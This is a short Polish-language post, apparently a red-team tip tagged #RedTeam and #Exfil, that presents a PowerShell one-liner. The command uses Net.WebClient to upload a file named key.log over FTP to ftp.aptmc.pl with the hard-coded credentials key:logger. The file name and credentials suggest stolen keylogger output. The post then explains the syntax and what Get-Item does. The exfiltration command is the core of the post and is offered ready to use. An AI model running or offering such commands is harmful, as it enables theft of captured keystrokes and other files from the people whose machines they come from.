Szybki upload FTP? Easy! [Net.WebClient]::New().UploadFile("ftp://key:logger@ftp.aptmc.pl/key.log", (gi "key.log"))
tty1 · powershell
PS> [Net.WebClient]::New().UploadFile("ftp://key:logger@ftp.aptmc.pl/key.log", (gi "key.log"))
#Powershell#RedTeam#Exfil
Powyższy onliner wyśle po FTP plik key.log z aktualnego katalogu do serwera FTP znajdującego się pod adresem ftp.aptmc.pl uwierzytelniając się jako użytkownik key z hasłem logger. Oczywiście w przypadku anonimowego serwera FTP, część z użytkownikiem i hasłem byśmy pominęli.
Cmdlet Get-Item o aliase gi wykorzystany jest po to, by zapewnić pełną ścieżkę do wysyłanego pliku (zwrócony przez Get-Item obiekt pdczas rzutowania na string zwróci właściwość FullName czyli pełną ścieżkę).